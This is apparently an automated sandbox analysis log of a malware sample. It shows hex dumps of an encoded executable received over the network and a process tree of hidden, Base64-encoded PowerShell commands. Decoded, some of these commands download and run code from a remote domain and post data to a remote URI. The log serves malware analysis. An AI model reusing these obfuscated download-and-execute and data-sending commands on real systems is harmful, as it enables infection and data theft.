2024-12-11 11:31:28 UTC	1158	IN	Data Raw: 19 0e 04 54 56 54 54 54 50 54 5b 54 ab ab 54 54 ec 54 54 54 54 54 54 54 14 54 4e 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 55 54 54 ee 44 54 5a 4b e0 5d 99 75 ec 55 18 99 75 c4 c4 00 3c 3d 27 74 24 26 3b 33 26 35 39 74 39 21 27 20 74 36 31 74 26 21 3a 74 21 3a 30 31 26 74 03 3d 3a 67 66 59 5e 70 63 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 Data Ascii: TVTTTPT[TTTTTTTTTTTNTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTUTTDTZK]uUu<='t$&;3&59t9!' t61t&!:t!:01&t=:gfY^pcTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
2024-12-11 11:31:28 UTC	1369	IN	Data Raw: 07 39 35 38 38 1d 3a 20 56 54 d4 ab ab ab 2b 54 54 56 54 54 54 54 f4 44 14 54 55 53 1d 3a 20 31 33 31 26 50 54 54 54 d4 ab ab ab 2b 56 54 ec 44 14 54 55 50 16 2d 20 31 55 54 54 54 54 ab 54 54 54 56 54 54 54 54 84 44 14 54 55 50 03 3b 26 30 57 54 54 54 54 ab ab 54 54 56 54 54 54 54 bc 44 14 54 55 5c 17 35 26 30 3d 3a 35 38 51 54 54 54 54 ab ab ab ab 56 54 54 54 54 50 45 14 54 40 53 04 3b 3d 3a 20 31 26 54 54 54 54 56 54 54 4c 45 14 54 44 51 1d 3a 20 62 60 54 54 54 54 54 54 54 d4 ab ab ab ab ab ab ab 2b 56 54 54 54 54 6c 45 14 54 44 52 01 1d 3a 20 62 60 54 54 54 54 54 54 54 54 ab ab ab ab ab ab ab ab 56 54 54 54 0c 45 14 54 55 5d 1a 35 20 3d 22 31 1d 3a 20 50 54 54 54 d4 ab ab ab 2b 56 54 54 54 20 45 14 54 55 5e 1a 35 20 3d 22 31 01 1d 3a 20 51 54 54 54 54 Data Ascii: 9588: VT+TTVTTTTDTUS: 131&PTTT+VTDTUP- 1UTTTTTTTVTTTTDTUP;&0WTTTTTTVTTTTDTU\5&0=:58QTTTTVTTTTPET@S;=: 1&TTTTVTTLETDQ: b`TTTTTTT+VTTTTlETDR: b`TTTTTTTTVTTTETU]5 ="1: PTTT+VTTT ETU^5 ="1: QTTTT
2024-12-11 11:31:28 UTC	1369	IN	Data Raw: 0b 11 25 21 35 38 3d 20 2d 54 54 54 44 14 54 56 46 cc 41 14 54 50 18 31 32 20 56 54 46 cc 41 14 54 51 06 3d 33 3c 20 56 54 56 54 5f 78 da 14 54 5a 72 3b 24 0b 1d 3a 31 25 21 35 38 3d 20 2d 54 54 54 44 14 54 56 46 cc 41 14 54 50 18 31 32 20 56 54 46 cc 41 14 54 51 06 3d 33 3c 20 56 54 56 54 5f 14 da 14 54 5b 72 3b 24 0b 13 26 31 35 20 31 26 00 3c 35 3a 54 54 54 44 14 54 56 46 cc 41 14 54 50 18 31 32 20 56 54 46 cc 41 14 54 51 06 3d 33 3c 20 56 54 56 54 5f 08 da 14 54 42 72 3b 24 0b 13 26 31 35 20 31 26 00 3c 35 3a 1b 26 11 25 21 35 38 54 54 54 44 14 54 56 46 cc 41 14 54 50 18 31 32 20 56 54 46 cc 41 14 54 51 06 3d 33 3c 20 56 54 56 54 5f dc da 14 54 58 72 3b 24 0b 18 31 27 27 00 3c 35 3a 54 54 54 44 14 54 56 46 cc 41 14 54 50 18 31 32 20 56 54 46 cc 41 14 Data Ascii: %!58= -TTTDTVFATP12 VTFATQ=3< VTVT_xTZr;$:1%!58= -TTTDTVFATP12 VTFATQ=3< VTVT_T[r;$&15 1&<5:TTTDTVFATP12 VTFATQ=3< VTVT_TBr;$&15 1&<5:&%!58TTTDTVFATP12 VTFATQ=3< VTVT_TXr;$1''<5:TTTDTVFATP12 VTFA
2024-12-11 11:31:28 UTC	1369	IN	Data Raw: 54 50 1a 35 39 31 56 54 56 54 12 54 a4 c7 14 54 5e 19 31 20 3c 3b 30 1a 35 39 31 57 54 ec 46 14 54 5c 54 57 54 54 54 54 54 54 54 50 07 31 38 32 56 54 54 54 45 14 54 55 54 53 15 30 30 26 31 27 27 56 54 14 ec 46 14 54 56 54 55 55 56 54 56 54 69 54 68 d9 14 54 46 05 21 35 38 3d 32 3d 31 30 17 38 35 27 27 1a 35 39 31 57 54 ec 46 14 54 5c 54 56 54 54 54 54 54 54 54 50 07 31 38 32 56 54 14 ec 46 14 54 55 54 55 55 56 54 56 54 6e 54 68 c0 14 54 58 12 3d 31 38 30 15 30 30 26 31 27 27 57 54 54 45 14 54 5c 54 56 5c c8 4b 14 54 54 54 50 07 31 38 32 56 54 46 b0 45 14 54 55 54 50 1a 35 39 31 56 54 56 54 6e 54 e4 c0 14 54 58 12 3d 31 38 30 15 30 30 26 31 27 27 57 54 54 45 14 54 5c 54 56 5c c8 4b 14 54 54 54 50 07 31 38 32 56 54 56 ec 46 14 54 55 54 50 1a 35 39 31 56 54 Data Ascii: TP591VTVTTT^1 <;0591WTFT\TWTTTTTTTP182VTTTETUTS00&1''VTFTVTUUVTVTiThTF!58=2=1085''591WTFT\TVTTTTTTTP182VTFTUTUUVTVTnThTX=18000&1''WTTET\TV\KTTTP182VTFETUTP591VTVTnTTX=18000&1''WTTET\TV\KTTTP182VTVFTUTP591VT
2024-12-11 11:31:28 UTC	1369	IN	Data Raw: 54 54 54 54 54 54 54 ac 74 14 54 54 54 54 54 b4 74 14 54 54 54 54 54 b2 74 14 54 5c 54 54 54 90 4b 14 54 48 c4 14 54 70 c4 14 54 58 c7 14 54 50 c7 14 54 70 c7 14 54 7c c7 14 54 78 c7 14 54 74 c7 14 54 b8 d9 14 54 50 da 14 54 a4 da 14 54 54 54 54 54 54 54 59 03 31 35 3f 15 20 20 26 3d 36 21 20 31 ac 74 14 54 53 59 03 31 35 3f 15 20 20 26 3d 36 21 20 31 b4 74 14 54 60 74 14 54 54 54 52 07 2d 27 20 31 39 54 54 54 54 56 54 54 54 2c 75 14 54 54 54 54 54 54 54 54 54 54 54 54 54 c0 75 14 54 54 54 54 54 2c 75 14 54 54 54 54 54 2a 75 14 54 5c 54 54 54 90 4b 14 54 48 c4 14 54 70 c4 14 54 58 c7 14 54 50 c7 14 54 70 c7 14 54 7c c7 14 54 78 c7 14 54 74 c7 14 54 b8 d9 14 54 50 da 14 54 a4 da 14 54 54 54 54 54 54 54 5b 01 3a 27 35 32 31 15 20 20 26 3d 36 21 20 31 54 54 Data Ascii: TTTTTTTtTTTTTtTTTTTtT\TTTKTHTpTXTPTpT\|TxTtTTPTTTTTTTTY15? &=6! 1tTSY15? &=6! 1tT`tTTTR-' 19TTTTVTTT,uTTTTTTTTTTTTTuTTTTT,uTTTTT*uT\TTTKTHTpTXTPTpT\|TxTtTTPTTTTTTTT[:'521 &=6! 1TT
2024-12-11 11:31:28 UTC	1369	IN	Data Raw: ce 14 54 50 11 2c 3d 20 54 54 54 54 54 54 55 5e c8 4b 14 54 53 15 1b 36 3e 31 37 20 56 54 56 54 5d 2c c9 14 54 5c 00 26 2d 11 3a 20 31 26 54 54 54 44 14 54 55 5e c8 4b 14 54 53 15 1b 36 3e 31 37 20 56 54 56 54 5d c0 ca 14 54 50 03 35 3d 20 54 54 54 44 14 54 56 5e c8 4b 14 54 53 15 1b 36 3e 31 37 20 56 54 54 b0 44 14 54 53 00 3d 39 31 3b 21 20 56 54 56 54 5d 94 ca 14 54 50 03 35 3d 20 54 54 54 44 14 54 57 5e c8 4b 14 54 53 15 1b 36 3e 31 37 20 56 54 5e c8 4b 14 54 51 15 18 3b 37 3f 56 54 54 b0 44 14 54 53 00 3d 39 31 3b 21 20 56 54 56 54 5d 84 cf 14 54 51 04 21 38 27 31 54 54 54 54 54 54 55 5e c8 4b 14 54 53 15 1b 36 3e 31 37 20 56 54 56 54 5d 7c c8 14 54 5c 04 21 38 27 31 15 38 38 54 54 54 54 54 54 55 5e c8 4b 14 54 53 15 1b 36 3e 31 37 20 56 54 56 54 b8 Data Ascii: TP,= TTTTTTU^KTS6>17 VTVT],T\&-: 1&TTTDTU^KTS6>17 VTVT]TP5= TTTDTV^KTS6>17 VTTDTS=91;! VTVT]TP5= TTTDTW^KTS6>17 VT^KTQ;7?VTTDTS=91;! VTVT]TQ!8'1TTTTTTU^KTS6>17 VTVT]\|T\!8'188TTTTTTU^KTS6>17 VTVT
2024-12-11 11:31:28 UTC	1369	IN	Data Raw: 54 1c 7f 14 54 50 51 00 00 3d 39 31 55 56 54 54 54 0c 7f 14 54 5a 5a 00 02 35 26 15 26 26 35 2d 16 3b 21 3a 30 5c 54 54 54 54 54 54 54 54 56 54 54 54 c8 44 14 54 54 54 54 54 56 58 11 38 31 39 31 3a 20 17 3b 21 3a 20 56 54 c8 44 14 54 50 54 54 54 56 5c 18 3b 23 16 3b 21 3a 30 56 54 56 54 54 54 54 54 54 f8 7f 14 54 59 47 00 02 35 26 15 26 26 35 2d 16 3b 21 3a 30 15 26 26 35 2d 5c 54 54 54 55 54 54 54 00 7f 14 54 55 54 54 54 54 56 54 8c 7f 14 54 40 5d 04 02 35 26 15 26 26 35 2d b8 7f 14 54 56 54 54 54 54 a4 7f 14 54 5a 5d 00 02 35 26 15 26 26 35 2d 4c 54 54 54 54 54 54 54 54 52 54 54 54 98 44 14 54 54 54 54 54 56 5c 10 3d 39 17 3b 21 3a 20 56 54 98 44 14 54 56 54 54 54 56 51 12 38 35 33 27 56 54 c8 44 14 54 50 54 54 54 56 5f 11 38 31 39 31 3a 20 07 3d 2e 31 Data Ascii: TTPQ=91UVTTTTZZ5&&&5-;!:0\TTTTTTTTVTTTDTTTTTVX8191: ;!: VTDTPTTTV\;#;!:0VTVTTTTTTTYG5&&&5-;!:0&&5-\TTTUTTTTUTTTTVTT@]5&&&5-TVTTTTTZ]5&&&5-LTTTTTTTTRTTTDTTTTTV\=9;!: VTDTVTTTVQ853'VTDTPTTTV_8191: =.1
2024-12-11 11:31:28 UTC	1369	IN	Data Raw: 02 17 3c 35 26 56 54 9c 7e 14 54 54 54 54 54 56 5d 02 11 2c 20 31 3a 30 31 30 56 54 08 7e 14 54 54 54 54 54 56 53 02 07 20 26 3d 3a 33 56 54 54 45 14 54 54 54 54 54 56 5c 02 04 3b 3d 3a 20 31 26 56 54 ac 45 14 54 54 54 54 54 56 52 02 04 17 3c 35 26 56 54 c8 4b 14 54 54 54 54 54 56 53 02 1b 36 3e 31 37 20 56 54 40 47 14 54 54 54 54 54 56 52 02 17 38 35 27 27 56 54 18 44 14 54 54 54 54 54 56 5d 02 03 3d 30 31 17 3c 35 26 56 54 44 46 14 54 54 54 54 54 56 5e 02 04 03 3d 30 31 17 3c 35 26 56 54 54 45 14 54 54 54 54 54 56 5f 02 15 3a 27 3d 07 20 26 3d 3a 33 56 54 b4 7e 14 54 54 54 54 54 56 5d 02 17 21 26 26 31 3a 37 2d 56 54 ac 7e 14 54 54 54 54 54 56 5c 02 02 35 26 3d 35 3a 20 56 54 54 45 14 54 54 54 54 54 56 5e 02 1d 3a 20 31 26 32 35 37 31 56 54 54 45 14 54 Data Ascii: <5&VT~TTTTTV], 1:010VT~TTTTTVS &=:3VTTETTTTTV\;=: 1&VTETTTTTVR<5&VTKTTTTTVS6>17 VT@GTTTTTVR85''VTDTTTTTV]=01<5&VTDFTTTTTV^=01<5&VTTETTTTTV_:'= &=:3VT~TTTTTV]!&&1:7-VT~TTTTTV\5&=5: VTTETTTTTV^: 1&2571VTTET
2024-12-11 11:31:28 UTC	1369	IN	Data Raw: 33 57 54 44 46 14 54 5c 54 55 56 ec 46 14 54 54 54 55 07 56 54 56 54 7c 54 6c 58 15 54 5f 1d 3a 1b 21 20 07 20 26 3d 3a 33 57 54 44 46 14 54 5c 54 55 56 ec 46 14 54 54 54 55 07 56 54 56 54 7a 54 10 58 15 54 52 15 27 15 3a 27 3d 57 54 88 46 14 54 5c 54 56 56 ec 46 14 54 54 54 55 07 56 54 14 88 46 14 54 55 54 55 55 56 54 56 54 7a 54 08 58 15 54 52 15 27 15 3a 27 3d 57 54 88 46 14 54 5c 54 56 54 44 46 14 54 54 54 55 07 56 54 14 88 46 14 54 55 54 55 55 56 54 56 54 62 54 20 58 15 54 5c 15 38 38 3b 37 19 31 39 57 54 5c 66 14 54 5c 54 56 54 54 54 54 54 54 54 50 07 31 38 32 56 54 54 00 45 14 54 55 54 50 07 3d 2e 31 56 54 56 54 1f 54 dc 58 15 54 5e 06 31 35 38 38 3b 37 19 31 39 57 54 5c 66 14 54 5c 54 57 54 54 54 54 54 54 54 50 07 31 38 32 56 54 54 5c 66 14 54 55 Data Ascii: 3WTDFT\TUVFTTTUVTVT\|TlXT_:! &=:3WTDFT\TUVFTTTUVTVTzTXTR':'=WTFT\TVVFTTTUVTFTUTUUVTVTzTXTR':'=WTFT\TVTDFTTTUVTFTUTUUVTVTbT XT\88;719WT\fT\TVTTTTTTTP182VTTETUTP=.1VTVTTXT^1588;719WT\fT\TWTTTTTTTP182VTT\fTU

Target ID:	1
Start time:	06:29:12
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /v /k "pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Imagebase:	0x7ff62fbd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:29:12
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:29:12
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Imagebase:	0x7ff7ab800000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:29:13
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA
Imagebase:	0x7ff7ab800000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:29:13
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:29:15
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline"
Imagebase:	0x7ff6e2980000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:29:15
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6B00.tmp" "c:\Users\user\AppData\Local\Temp\n4r2ytua\CSCE2E75555A6E54FAF964F39C1B149FD24.TMP"
Imagebase:	0x7ff6fa8c0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:29:22
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0x7ff7ab800000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:29:22
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:29:25
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgA